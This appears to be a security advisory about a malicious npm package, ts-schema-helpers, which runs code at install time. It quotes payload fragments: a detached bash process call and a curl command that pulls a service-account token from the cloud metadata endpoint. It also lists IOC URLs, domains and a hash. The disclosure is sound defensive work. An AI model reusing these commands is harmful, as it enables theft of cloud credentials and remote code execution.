GCVE-110-OSM-2026-2035

Advisory PublishedCVSS 9.6/10

Vulnetix · Advisory published April 12, 2026

Malicious package detected. Behaviors: code execution, network activity, install-time execution. Payload: lib/compat.js Secondary files: scripts/setup.sh Key findings: - Detached Child Process Payload in lib/compat.js: "execFile('/bin/bash',[_s],{detached:true" - Download and Execute in scripts/setup.sh: "curl -s -H "$GF" "$MDURL/instance/service-accounts/default/token" --max-time 10 ..." - Shell Command Execution in lib/compat.js: "require('child_process')" - Very New NPM Publisher Account IOCs: - urls: https://$H$EP, http://metadata.google.internal/computeMetadata/v1, https://$H/poc/token, https://example.com&format=full, https://$GW:2376/version (+4 more) - domains: aaronstack.com, run.app, appspot.com, iam.gserviceaccount.com, svc.id (+5 more) - payloadFileHash: da3d69af9ac23f1524f594bb233755b1f0840fc5d7169f08b820fce3b9344bdb

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Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1

9.6/10

Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Affected Products

Vendor	Product	Versions	Platforms
unknown	ts-schema-helpers	all (affected)	—

References

Malicious npm package: ts-schema-helpers

advisory

vendor

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